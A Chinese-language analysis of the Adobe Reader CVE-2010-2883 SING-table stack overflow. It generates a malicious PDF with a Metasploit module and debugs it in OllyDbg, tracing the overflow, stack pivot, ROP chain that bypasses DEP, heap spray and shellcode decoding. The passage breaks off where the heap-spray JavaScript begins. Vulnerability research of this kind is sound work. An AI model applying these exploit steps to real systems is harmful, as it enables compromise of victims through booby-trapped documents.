这里我们先借助Metasploit帮助我们生成一个样本用于动态调试(之后会分析这个样本是如何构造出来的)。 msfconsole 首先在Kali中调用msfconsole唤出我们的msf。<span></span> msf > search cve-2010-2883 搜索cve-2010-2883漏洞编号可以列出可用的exploit。 这个exploit的位置在 /usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb 为了便于等下动态调试识别一些关键数据块，我们考虑修改一下这个exploit的一处地方。 在这个exploit的102行处，将下面这句代码 sing << rand_text(0x254 - sing.length) 更改为 sing << "A" * (0x254 - sing.length) 这里的rand_text主要作用是取随机字符，目的是为了增强样本的随机性从而躲避一些检测。这里我们只做研究之用，所以不必随机。修改之后保存 msf > use exploit/windows/fileformat/adobe_cooltype_sing 使用这个exp msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec 然后设置有效载荷为windows/exec用来执行命令 msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe 为了方便查看漏洞执行效果，我们这里将载荷执行命令设置为启动计算器 msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf 最后设置一下生成的样本文件名<span></span> msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit 执行一下，样本就被生成在了 /root/.msf4/local/cve20102883.pdf 从Kali中拷贝出来放到我们的Windows XP SP3 复现环境中。 ## 动态分析 在复现环境中把Adobe Reader 9.3.4 启动程序载入OllyDbg。加载之后F9运行。此时OllyDbg显示当前调试的程序是运行状态，实际上这个时候Adobe Reader就已经加载了CoolType.dll文件了。通过刚刚的静态分析我们了解到aSing在地址0x0803DD74处被引用。因此我们可以先在OD中在这个地址处下一个断点。快捷键Ctrl+G输入0x0803DD74回车跳转到该地址F2下断点。 我们将刚才的样本拖入到Adobe Reader中。程序就会停在刚才下的断点上面。 F7单步到 0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24] 执行这句指令之后我们来看看ecx到底存了什么。此时的ecx = 0x0012E4B4，首先猜测这是一个指针地址，定位到数据区域之后，取出前32位的十六进制。 0012E4B4 F4 41 6D 04 由于在X86架构下是小端字节序，因此我们将数据排列成0x046D41F4。这应该就是ecx指针所指向的地址，定位到数据区域。可以看到如下数据 046D41F4 00 01 00 00 00 11 01 00 ..... 046D41FC 00 04 00 10 4F 53 2F 32 ..OS/2 046D4204 B4 5F F4 63 00 00 EB 70 確鬰..雙 046D420C 00 00 00 56 50 43 4C 54 ...VPCLT 046D4214 D1 8A 5E 97 00 00 EB C8 褗^?.肴 046D421C 00 00 00 36 63 6D 61 70 ...6cmap 046D4224 A4 C3 E8 A0 00 00 B1 6C っ锠..眑 在分析这段数据之前我们先来看看TrueType字体格式标准文档里是怎么说的。 在TrueType字体文件中，从0字节偏移的位置开始处有一个表目录。且这个表目录的第一个字段是名为sfnt version是用来表明所用ttf格式版本的字段。在文档中清楚的标注了，对于1.0版本的TTF字体文件开头要用0x00010000来表示版本。回到我们刚才0x046D41F4位置处的数据，会发现开头正好是0x00010000，这就证明了ecx保存的是一个指向ttf对象的指针地址并且在这里应该是作为this指针。 分析到这里，继续我们的动态调试。接下来遇到了一个call指令，意味着即将调用一个函数。在调用函数前我们不妨先看看这个函数传入了哪些参数。 0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII "SING" 0803DD79 57 push edi 很明显它将SING字符串当作参数了。这里我们单步F8不进入call函数内部。 0803DD7D E8 843DFEFF call CoolType.08021B06 0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] 来看看这里的eax变成了什么。 eax = 0x046BE598 数据窗口跟随就会发现 046BE598 00 00 01 00 01 0E 00 01 .... 046BE5A0 00 00 00 00 00 00 00 3A .......: 046BE5A8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5B0 14 A7 82 4A 0C 0C 0C 0C J.... 046BE5B8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5C0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5C8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5D0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5D8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5E0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5E8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5F0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE5F8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE600 41 41 41 41 41 41 41 41 AAAAAAAA 046BE608 41 41 41 41 41 41 41 41 AAAAAAAA 046BE610 41 41 41 41 41 41 41 41 AAAAAAAA 046BE618 41 41 41 41 41 41 41 41 AAAAAAAA 046BE620 41 41 41 41 41 41 41 41 AAAAAAAA 046BE628 41 41 41 41 41 41 41 41 AAAAAAAA 046BE630 41 41 41 41 41 41 41 41 AAAAAAAA 046BE638 41 41 41 41 41 41 41 41 AAAAAAAA 046BE640 41 41 41 41 41 41 41 41 AAAAAAAA 046BE648 41 41 41 41 41 41 41 41 AAAAAAAA 046BE650 41 41 41 41 41 41 41 41 AAAAAAAA 046BE658 41 41 41 41 41 41 41 41 AAAAAAAA 046BE660 41 41 41 41 41 41 41 41 AAAAAAAA 046BE668 41 41 41 41 41 41 41 41 AAAAAAAA 046BE670 41 41 41 41 41 41 41 41 AAAAAAAA 046BE678 41 41 41 41 41 41 41 41 AAAAAAAA 046BE680 41 41 41 41 41 41 41 41 AAAAAAAA 046BE688 41 41 41 41 41 41 41 41 AAAAAAAA 046BE690 41 41 41 41 41 41 41 41 AAAAAAAA 046BE698 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6A0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6A8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6B0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6B8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6C0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6C8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6D0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6D8 C6 08 8A 4A 41 41 41 41 ?奐AAAA 046BE6E0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6E8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6F0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE6F8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE700 41 41 41 41 41 41 41 41 AAAAAAAA 046BE708 41 41 41 41 41 41 41 41 AAAAAAAA 046BE710 41 41 41 41 41 41 41 41 AAAAAAAA 046BE718 41 41 41 41 41 41 41 41 AAAAAAAA 046BE720 41 41 41 41 41 41 41 41 AAAAAAAA 046BE728 41 41 41 41 41 41 41 41 AAAAAAAA 046BE730 41 41 41 41 41 41 41 41 AAAAAAAA 046BE738 41 41 41 41 41 41 41 41 AAAAAAAA 046BE740 41 41 41 41 41 41 41 41 AAAAAAAA 046BE748 41 41 41 41 41 41 41 41 AAAAAAAA 046BE750 41 41 41 41 41 41 41 41 AAAAAAAA 046BE758 41 41 41 41 41 41 41 41 AAAAAAAA 046BE760 41 41 41 41 41 41 41 41 AAAAAAAA 046BE768 41 41 41 41 41 41 41 41 AAAAAAAA 046BE770 41 41 41 41 41 41 41 41 AAAAAAAA 046BE778 41 41 41 41 41 41 41 41 AAAAAAAA 046BE780 41 41 41 41 41 41 41 41 AAAAAAAA 046BE788 41 41 41 41 41 41 41 41 AAAAAAAA 046BE790 41 41 41 41 41 41 41 41 AAAAAAAA 046BE798 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7A0 38 CB 80 4A 41 41 41 41 8藔JAAAA 046BE7A8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7B0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7B8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7C0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7C8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7D0 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7D8 41 41 41 41 41 41 41 41 AAAAAAAA 046BE7E0 41 41 41 41 6C AAAAl 这里大量的A原本都是随机字符，由于刚才我们修改了exploit的代码因此使得这里的数据块更容易辨认。实际上这些数据都是样本中SING表里构造好的恶意数据。 0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII "SING" 0803DD79 57 push edi 0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24] 0803DD7D E8 843DFEFF call CoolType.08021B06 0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] 因此总结一下，以上的指令主要就是将SING表的tag名传入到08021B06函数中通过表目录来获取到SING表的入口地址，而目前eax的值0x046BE598即是SING表的入口地址。分析SING表的这些数据，我们就能知道样本到底做了些什么。 继续往下动态调试，会发现关键的溢出点。 0803DDA2 50 push eax 0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] 0803DDA6 50 push eax 0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0 0803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat> 第一个pusheax 将刚刚获取到的SING表入口地址压入栈区。第二个 pusheax获取了当前栈区的ebp地址即要连接字符串的目的地址。我们单步过strcat之后，查看一下ebp开始的栈区数据。 0012E4D8 41414141 0012E4DC 41414141 0012E4E0 4A82A714 icucnv36.4A82A714 0012E4E4 0C0C0C0C 0012E4E8 41414141 0012E4EC 41414141 0012E4F0 41414141 0012E4F4 41414141 0012E4F8 41414141 0012E4FC 41414141 0012E500 41414141 0012E504 41414141 0012E508 41414141 0012E50C 41414141 0012E510 41414141 0012E514 41414141 0012E518 41414141 0012E51C 41414141 0012E520 41414141 0012E524 41414141 0012E528 41414141 0012E52C 41414141 0012E530 41414141 0012E534 41414141 0012E538 41414141 0012E53C 41414141 0012E540 41414141 0012E544 41414141 0012E548 41414141 0012E54C 41414141 0012E550 41414141 0012E554 41414141 0012E558 41414141 0012E55C 41414141 0012E560 41414141 0012E564 41414141 0012E568 41414141 0012E56C 41414141 0012E570 41414141 0012E574 41414141 0012E578 41414141 0012E57C 41414141 0012E580 41414141 0012E584 41414141 0012E588 41414141 0012E58C 41414141 0012E590 41414141 0012E594 41414141 0012E598 41414141 0012E59C 41414141 0012E5A0 41414141 0012E5A4 41414141 0012E5A8 41414141 0012E5AC 41414141 0012E5B0 41414141 0012E5B4 41414141 0012E5B8 41414141 0012E5BC 41414141 0012E5C0 41414141 0012E5C4 41414141 0012E5C8 41414141 0012E5CC 41414141 0012E5D0 41414141 0012E5D4 41414141 0012E5D8 41414141 0012E5DC 41414141 0012E5E0 41414141 0012E5E4 41414141 0012E5E8 41414141 0012E5EC 41414141 0012E5F0 41414141 0012E5F4 41414141 0012E5F8 41414141 0012E5FC 41414141 0012E600 41414141 0012E604 41414141 0012E608 4A8A08C6 icucnv36.4A8A08C6 0012E60C 41414141 0012E610 41414141 0012E614 41414141 0012E618 41414141 0012E61C 41414141 0012E620 41414141 0012E624 41414141 0012E628 41414141 0012E62C 41414141 0012E630 41414141 0012E634 41414141 0012E638 41414141 0012E63C 41414141 0012E640 41414141 0012E644 41414141 0012E648 41414141 0012E64C 41414141 0012E650 41414141 0012E654 41414141 0012E658 41414141 0012E65C 41414141 0012E660 41414141 0012E664 41414141 0012E668 41414141 0012E66C 41414141 0012E670 41414141 0012E674 41414141 0012E678 41414141 0012E67C 41414141 0012E680 41414141 0012E684 41414141 0012E688 41414141 0012E68C 41414141 0012E690 41414141 0012E694 41414141 0012E698 41414141 0012E69C 41414141 0012E6A0 41414141 0012E6A4 41414141 0012E6A8 41414141 0012E6AC 41414141 0012E6B0 41414141 0012E6B4 41414141 0012E6B8 41414141 0012E6BC 41414141 0012E6C0 41414141 0012E6C4 41414141 0012E6C8 41414141 0012E6CC 41414141 0012E6D0 4A80CB38 返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C49 0012E6D4 41414141 0012E6D8 41414141 0012E6DC 41414141 0012E6E0 41414141 0012E6E4 41414141 0012E6E8 41414141 0012E6EC 41414141 0012E6F0 41414141 0012E6F4 41414141 0012E6F8 41414141 0012E6FC 41414141 0012E700 41414141 0012E704 41414141 0012E708 41414141 0012E70C 41414141 指向下一个 SEH 记录的指针 0012E710 41414141 SE处理程序 0012E714 0000006C 此时栈溢出已经发生，栈区数据已经被修改成了SING表中构造的恶意数据(实际上是从uniqueName字段开始的数据)。 继续往下分析，我们希望了解程序到底是怎么样去读取栈区数据的。 0808B308 FF10 call dword ptr ds:[eax] 执行到0x0808B308时，我们发现了一个很有意思的地方。即调用了[eax]地址指向的函数。此时的eax = 0012E6D0，这正好处于我们刚才覆盖的栈区数据范围内。 且 [eax]= 0x4A80CB38。 4A80CB38 81C5 94070000 add ebp,0x794 4A80CB3E C9 leave (mov esp,ebp pop ebp) 4A80CB3F C3 retn 首先调整了ebp。原本的ebp = 0x0012DD48 ebp+0x794 = 0x0012E4DC 重新将ebp调整进了覆盖的栈区数据范围内。接下来执行的leave，修改了esp，原本的esp = 0x0012DD24 esp = ebp = 0x0012E4DC [esp] = 0x41414141 并且弹栈之后 ebp = 0x41414141 最后retn时，esp = 0x0012E4E0 [esp] = 0x4A82A714 因此接下来EIP = 0x4A82A714 4A82A714 5C pop esp ; 0C0C0C0C 4A82A715 C3 retn 这里原本的esp= 0x0012E4E4 [esp] = 0x0C0C0C0C pop esp之后 esp = 0x0C0C0C0C 0C0C0C08 41414141 0C0C0C0C 4A8063A5 icucnv36.4A8063A5 0C0C0C10 4A8A0000 ASCII "UTF-32" 0C0C0C14 4A802196 icucnv36.4A802196 0C0C0C18 4A801F90 icucnv36.4A801F90 0C0C0C1C 4A84903C <&KERNEL32.CreateFileA> 0C0C0C20 4A80B692 icucnv36.4A80B692 0C0C0C24 4A801064 icucnv36.4A801064 0C0C0C28 4A8522C8 ASCII "iso88591" 0C0C0C2C 10000000 sqlite.10000000 0C0C0C30 00000000 0C0C0C34 00000000 0C0C0C38 00000002 0C0C0C3C 00000102 0C0C0C40 00000000 0C0C0C44 4A8063A5 icucnv36.4A8063A5 0C0C0C48 4A801064 icucnv36.4A801064 0C0C0C4C 4A842DB2 icucnv36.4A842DB2 0C0C0C50 4A802AB1 icucnv36.4A802AB1 0C0C0C54 00000008 0C0C0C58 4A80A8A6 icucnv36.4A80A8A6 0C0C0C5C 4A801F90 icucnv36.4A801F90 0C0C0C60 4A849038 <&KERNEL32.CreateFileMappingA> 0C0C0C64 4A80B692 icucnv36.4A80B692 0C0C0C68 4A801064 icucnv36.4A801064 0C0C0C6C FFFFFFFF 0C0C0C70 00000000 0C0C0C74 00000040 0C0C0C78 00000000 0C0C0C7C 00010000 UNICODE "=::=::" 0C0C0C80 00000000 0C0C0C84 4A8063A5 icucnv36.4A8063A5 0C0C0C88 4A801064 icucnv36.4A801064 0C0C0C8C 4A842DB2 icucnv36.4A842DB2 0C0C0C90 4A802AB1 icucnv36.4A802AB1 0C0C0C94 00000008 0C0C0C98 4A80A8A6 icucnv36.4A80A8A6 0C0C0C9C 4A801F90 icucnv36.4A801F90 0C0C0CA0 4A849030 <&KERNEL32.MapViewOfFile> 0C0C0CA4 4A80B692 icucnv36.4A80B692 0C0C0CA8 4A801064 icucnv36.4A801064 0C0C0CAC FFFFFFFF 0C0C0CB0 00000022 0C0C0CB4 00000000 0C0C0CB8 00000000 0C0C0CBC 00010000 UNICODE "=::=::" 0C0C0CC0 4A8063A5 icucnv36.4A8063A5 0C0C0CC4 4A8A0004 ASCII "32" 0C0C0CC8 4A802196 icucnv36.4A802196 0C0C0CCC 4A8063A5 icucnv36.4A8063A5 0C0C0CD0 4A801064 icucnv36.4A801064 0C0C0CD4 4A842DB2 icucnv36.4A842DB2 0C0C0CD8 4A802AB1 icucnv36.4A802AB1 0C0C0CDC 00000030 0C0C0CE0 4A80A8A6 icucnv36.4A80A8A6 0C0C0CE4 4A801F90 icucnv36.4A801F90 0C0C0CE8 4A8A0004 ASCII "32" 0C0C0CEC 4A80A7D8 返回到 icucnv36.4A80A7D8 来自 MSVCR80.__timezone 0C0C0CF0 4A8063A5 icucnv36.4A8063A5 0C0C0CF4 4A801064 icucnv36.4A801064 0C0C0CF8 4A842DB2 icucnv36.4A842DB2 0C0C0CFC 4A802AB1 icucnv36.4A802AB1 0C0C0D00 00000020 0C0C0D04 4A80A8A6 icucnv36.4A80A8A6 0C0C0D08 4A8063A5 icucnv36.4A8063A5 0C0C0D0C 4A801064 icucnv36.4A801064 0C0C0D10 4A80AEDC icucnv36.4A80AEDC 0C0C0D14 4A801F90 icucnv36.4A801F90 0C0C0D18 00000034 0C0C0D1C 4A80D585 icucnv36.4A80D585 0C0C0D20 4A8063A5 icucnv36.4A8063A5 0C0C0D24 4A801064 icucnv36.4A801064 0C0C0D28 4A842DB2 icucnv36.4A842DB2 0C0C0D2C 4A802AB1 icucnv36.4A802AB1 0C0C0D30 0000000A 0C0C0D34 4A80A8A6 icucnv36.4A80A8A6 0C0C0D38 4A801F90 icucnv36.4A801F90 0C0C0D3C 4A849170 <&MSVCR80.memcpy> 0C0C0D40 4A80B692 icucnv36.4A80B692 0C0C0D44 FFFFFFFF 0C0C0D48 FFFFFFFF 0C0C0D4C FFFFFFFF 0C0C0D50 00001000 这里又到了一个关键的地方。看到0x0C0C0C0C 我们很自然的会想到 HeapSpary技术。在这个样本中确实利用到了堆喷射的技术，借助PDF本身支持执行JS的特性，将shellcode借助JS写入内存中。实际上这里也可以不借助堆喷射来实现任意代码执行，但是这样的话就会增大ROP链的构造难度，因此选择利用堆喷射的方法来写入shellcode是一种非常巧妙的做法。 仔细观察可以发现接下来的ROP链调用的都是icucnv36.dll这个库中的地址，原因在于这个库是没有开启ASLR保护的。还有需要说明的一点是，之所以要借助堆喷射技术来执行代码的原因是为了绕过windows环境下的DEP保护。 继续动态分析。此时即将执行retn，而esp指向的地址是0x0c0c0c0c，即 0C0C0C0C 4A8063A5 icucnv36.4A8063A5 因此接下来执行的是 4A8063A5 59 pop ecx ;icucnv36.4A8A0000 4A8063A6 C3 retn ecx =0x4A8A0000 [ecx] = “UTF-32” 4A802196 8901 mov dword ptr ds:[ecx],eax 4A802198 C3 retn 这里借原本存“UTF-32”字符串的地方保存eax(0x0012E6D0)的值 4A801F90 58 pop eax ;<&KERNEL32.CreateFileA> 4A801F91 C3 retn 这里eax指向了CreateFileA函数用于创建文件。即eax = 0x4A84903C 4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileA 这里直接跳转到eax保存的指针所指向的地址(0x7C801A28)处 7C801A28 > 8BFF mov edi,edi 7C801A2A 55 push ebp 7C801A2B 8BEC mov ebp,esp 7C801A2D FF75 08 push dword ptr ss:[ebp+0x8] 7C801A30 E8 CFC60000 call kernel32.7C80E104 7C801A35 85C0 test eax,eax 7C801A37 74 1E je Xkernel32.7C801A57 7C801A39 FF75 20 push dword ptr ss:[ebp+0x20] 7C801A3C FF75 1C push dword ptr ss:[ebp+0x1C] 7C801A3F FF75 18 push dword ptr ss:[ebp+0x18] 7C801A42 FF75 14 push dword ptr ss:[ebp+0x14] 7C801A45 FF75 10 push dword ptr ss:[ebp+0x10] 7C801A48 FF75 0C push dword ptr ss:[ebp+0xC] 7C801A4B FF70 04 push dword ptr ds:[eax+0x4] 7C801A4E E8 9DED0000 call kernel32.CreateFileW 7C801A53 5D pop ebp 7C801A54 C2 1C00 retn 0x1C 这里应该是CreateFileA的实现逻辑，我们直接查看栈区数据 0C0C0C24 4A801064 /CALL 到 CreateFileA 0C0C0C28 4A8522C8 |FileName = "iso88591" 0C0C0C2C 10000000 |Access = GENERIC_ALL 0C0C0C30 00000000 |ShareMode = 0 0C0C0C34 00000000 |pSecurity = NULL 0C0C0C38 00000002 |Mode = CREATE_ALWAYS 0C0C0C3C 00000102 |Attributes = HIDDEN|TEMPORARY 0C0C0C40 00000000 hTemplateFile = NULL 这里都是CreateFileA的参数，来看看CreateFileA官方文档给出的结构 HANDLE CreateFileA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); lpFileName用于指定被创建文件的文件名。 dwDesiredAccess 用于指定访问权限一般都是读、写之类的。这里的GENERIC_ALL指的是采用所有可能的访问权限。 dwShareMode 用于指定请求的文件或设备的共享模式，这里指定的0代表了阻止其他进程在请求删除，读取或写入访问权限时打开文件或设备。 lpSecurityAttributes 用于设置安全描述符和子进程是否可继承，这个属性可为NULL，这里用的就是NULL。 dwCreationDisposition 设置对文件执行的操作。这里的CREATE_ALWAYS代表总是会创建文件，即使目标文件已存在也会覆盖它。 dw FlagsAndAttributes 设置文件或设备属性和标志，这里给的值是FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_TEMPORARY 代表该文件用于临时存储。 hTemplateFile 设置具有GENERIC_READ访问权限的模板文件的有效句柄。这个属性这里也没用到直接指定NULL。 总之这里创建了一个临时文件，文件名是iso88591。可以在当前样本pdf同目录下找到。 4A801064 C3 retn 这里跳转到 0x4A8063A5(icucnv36.4A8063A5) 4A8063A5 59 pop ecx ; icucnv36.4A801064 4A8063A6 C3 retn ecx = 0x4A801064 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn 这里 eax =0x0000031C edi = 0x0012E718 xchg指令交换了两个寄存器的值eax = 0x0012E718 edi = 0x0000031C 4A802AB1 5B pop ebx 4A802AB2 C3 retn 继续单步，到这里 ebx = 0x00000008 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi 4A80A8A9 75 03 jnz Xicucnv36.4A80A8AE 4A80A8AB B0 01 mov al,0x1 4A80A8AD C3 retn 4A80A8AE 3C 2F cmp al,0x2F 4A80A8B0 ^ 74 F9 je Xicucnv36.4A80A8AB 4A80A8B2 3C 41 cmp al,0x41 4A80A8B4 7C 04 jl Xicucnv36.4A80A8BA 4A80A8B6 3C 5A cmp al,0x5A 4A80A8B8 7E 08 jle Xicucnv36.4A80A8C2 4A80A8BA 3C 61 cmp al,0x61 4A80A8BC 7C 0A jl Xicucnv36.4A80A8C8 4A80A8BE 3C 7A cmp al,0x7A 4A80A8C0 7F 06 jg Xicucnv36.4A80A8C8 4A80A8C2 8079 01 3A cmp byte ptr ds:[ecx+0x1],0x3A 4A80A8C6 ^ 74 E3 je Xicucnv36.4A80A8AB 4A80A8C8 32C0 xor al,al 4A80A8CA C3 retn 这里指向了一个函数的实现代码块。似乎做了斜杠和字母小写的检查。 4A801F90 58 pop eax ;<&KERNEL32.CreateFileMappingA> 4A801F91 C3 retn 这里让eax指向了一个CreateFileMappingA函数 4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileMappingA 这里利用同样的方法调转到 [eax] 所在的函数 CreateFileMappingA处，该函数用于创建一个文件映射内核对象。 7C8094EE > 8BFF mov edi,edi 7C8094F0 55 push ebp 7C8094F1 8BEC mov ebp,esp 7C8094F3 51 push ecx 7C8094F4 51 push ecx 7C8094F5 56 push esi 7C8094F6 33F6 xor esi,esi 7C8094F8 3975 1C cmp dword ptr ss:[ebp+0x1C],esi 7C8094FB 74 31 je Xkernel32.7C80952E 7C8094FD 64:A1 18000000 mov eax,dword ptr fs:[0x18] 7C809503 FF75 1C push dword ptr ss:[ebp+0x1C] 7C809506 8DB0 F80B0000 lea esi,dword ptr ds:[eax+0xBF8] 7C80950C 8D45 F8 lea eax,dword ptr ss:[ebp-0x8] 7C80950F 50 push eax 7C809510 FF15 8C10807C call dword ptr ds:[<&ntdll.RtlInitAnsiSt>; ntdll.RtlInitAnsiString 7C809516 6A 00 push 0x0 7C809518 8D45 F8 lea eax,dword ptr ss:[ebp-0x8] 7C80951B 50 push eax 7C80951C 56 push esi 7C80951D FF15 8810807C call dword ptr ds:[<&ntdll.RtlAnsiString>; ntdll.RtlAnsiStringToUnicodeString 7C809523 85C0 test eax,eax 7C809525 0F8C B5390300 jl kernel32.7C83CEE0 7C80952B 8B76 04 mov esi,dword ptr ds:[esi+0x4] 7C80952E 56 push esi 7C80952F FF75 18 push dword ptr ss:[ebp+0x18] 7C809532 FF75 14 push dword ptr ss:[ebp+0x14] 7C809535 FF75 10 push dword ptr ss:[ebp+0x10] 7C809538 FF75 0C push dword ptr ss:[ebp+0xC] 7C80953B FF75 08 push dword ptr ss:[ebp+0x8] 7C80953E E8 DDFEFFFF call kernel32.CreateFileMappingW 7C809543 5E pop esi 7C809544 C9 leave 7C809545 C2 1800 retn 0x18 函数参数在栈中的分布 0C0C0C68 4A801064 /CALL 到 CreateFileMappingA 0C0C0C6C 0000031C |hFile = 0000031C 0C0C0C70 00000000 |pSecurity = NULL 0C0C0C74 00000040 |Protection = PAGE_EXECUTE_READWRITE 0C0C0C78 00000000 |MaximumSizeHigh = 0 0C0C0C7C 00010000 |MaximumSizeLow = 10000 0C0C0C80 00000000 MapName = NULL 继续调试跳转到 4A8063A5 59 pop ecx ; icucnv36.4A801064 4A8063A6 C3 retn 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn 这里的eax =0x00000320 edi = 0x0000031C xchg交换两个寄存器的值 4A802AB1 5B pop ebx 4A802AB2 C3 retn 这里再一次跳转到了0x4A80A8A6 4A801F90 58 pop eax ; <&KERNEL32.MapViewOfFile> 4A801F91 C3 retn 这里eax指向的是MapViewOfFile函数入口地址 eax = 0x4A849030 4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.MapViewOfFile 同样的原理借助jmp dword ptr ds:[eax] 跳转到eax指向的地址。<span></span> 7C80B995 > 8BFF mov edi,edi 7C80B997 55 push ebp 7C80B998 8BEC mov ebp,esp 7C80B99A 6A 00 push 0x0 7C80B99C FF75 18 push dword ptr ss:[ebp+0x18] 7C80B99F FF75 14 push dword ptr ss:[ebp+0x14] 7C80B9A2 FF75 10 push dword ptr ss:[ebp+0x10] 7C80B9A5 FF75 0C push dword ptr ss:[ebp+0xC] 7C80B9A8 FF75 08 push dword ptr ss:[ebp+0x8] 7C80B9AB E8 76FFFFFF call kernel32.MapViewOfFileEx 7C80B9B0 5D pop ebp 7C80B9B1 C2 1400 retn 0x14 将一个文件映射对象映射到当前应用程序的地址空间。 4A801064 C3 retn 跳转到 0x4A8063A5 4A8063A5 59 pop ecx ; icucnv36.4A8A0004 4A8063A6 C3 retn ecx = 0x4A8A0004 4A802196 8901 mov dword ptr ds:[ecx],eax 4A802198 C3 retn 将eax的值暂存在[ecx]中 eax = 0x037F0000 4A8063A5 59 pop ecx ; icucnv36.4A801064 4A8063A6 C3 retn ecx = 0x4A801064 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn 4A802AB1 5B pop ebx 4A802AB2 C3 retn 又回到0x4A80A8A6 4A801F90 58 pop eax ; icucnv36.4A8A0004 4A801F91 C3 retn eax = 0x4A8A0004 4A80A7D8 8B00 mov eax,dword ptr ds:[eax] 4A80A7DA C3 retn eax = [eax] = 0x037F0000 4A8063A5 59 pop ecx ; icucnv36.4A801064 4A8063A6 C3 retn ecx = 0x4A801064 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn eax = edi = 0x037F0000 4A802AB1 5B pop ebx 4A802AB2 C3 retn ebx = 0x00000020 这里的retn 再一次跳到了0x4A80A8A6 4A80AEDC 8D5424 0C lea edx,dword ptr ss:[esp+0xC] 4A80AEE0 52 push edx 4A80AEE1 50 push eax 4A80AEE2 FF7424 0C push dword ptr ss:[esp+0xC] 4A80AEE6 FF35 3C098A4A push dword ptr ds:[0x4A8A093C] 4A80AEEC FFD1 call ecx 4A80AEEE 83C4 10 add esp,0x10 4A80AEF1 C3 retn 这里ecx = 0x4A801064 call ecx 跳转到了0x4A801064 4A801064 C3 retn 这里[esp] = 0x4A80AEEE 4A80AEEE 83C4 10 add esp,0x10 4A80AEF1 C3 retn 4A801F90 58 pop eax 4A801F91 C3 retn 4A80D585 03C2 add eax,edx 4A80D587 C3 retn 4A8063A5 59 pop ecx ; icucnv36.4A801064 4A8063A6 C3 retn 这里的ecx = 0x4A801064 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn 4A802AB1 5B pop ebx 4A802AB2 C3 retn 4A801F90 58 pop eax ; <&MSVCR80.memcpy> 4A801F91 C3 retn 这里将memcpy函数地址保存在了eax寄存器中 4A80B692 - FF20 jmp dword ptr ds:[eax] ; MSVCR80.memcpy 这里用到的memcpy函数将要执行的shellcode写入到MapViewOfFile返回的地址。因为这段内存是可读可写的，所以就绕过了DEP的保护。 0C0C0D44 03E90000 CALL 到 memcpy 0C0C0D48 03E90000 dest = 03E90000 0C0C0D4C 0C0C0D54 src = 0C0C0D54 0C0C0D50 00001000 n = 1000 (4096.) memcpy的参数如上。 03790010 3147 18 xor dword ptr ds:[edi+0x18],eax 03790013 0347 18 add eax,dword ptr ds:[edi+0x18] 03790016 83C7 04 add edi,0x4 03790019 ^ E2 F5 loopd X03790010 最后这里的循环将shellcode解密 0379001B FC cld 0379001C E8 82000000 call 037900A3 并跳转到0x037900A3处继续执行 037D00A3 5D pop ebp ; 037D0021 037D00A4 6A 01 push 0x1 037D00A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2] 037D00AC 50 push eax 037D00AD 68 318B6F87 push 0x876F8B31 037D00B2 FFD5 call ebp ebp = 0x037D0021 这里的eax = 0x038300D3 指向的是一个字符串 “calc.exe” call ebp之后执行calc.exe命令。总结一下这部分由堆喷射覆盖在栈上的数据都做了一些什么。主要做了新建临时文件，将文件映射到内存，将真正的shellcode拷贝到内存的某一块区域并且解码这些shellcode然后执行。 ## JavaScript实现HeapSpray 前面提到过，这个漏洞样本的编写中，借助了PDF本身支持JS的特性实现了堆喷射。这里我们借助PDFStreamDumper工具提取样本中的这段实现堆喷射的JS代码段。 var var_shellcode = 